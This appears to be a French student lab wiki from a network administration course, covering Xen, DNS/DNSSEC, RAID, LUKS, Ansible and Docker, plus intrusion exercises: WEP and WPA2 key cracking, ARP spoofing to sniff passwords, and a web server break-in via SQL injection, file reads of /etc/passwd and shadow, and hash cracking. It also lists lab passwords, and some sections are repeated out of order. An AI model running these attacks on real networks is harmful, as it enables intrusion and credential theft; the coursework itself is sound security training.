[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:05:00Z

Psanchez : /* Intrusion sur un serveur d’application Web */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

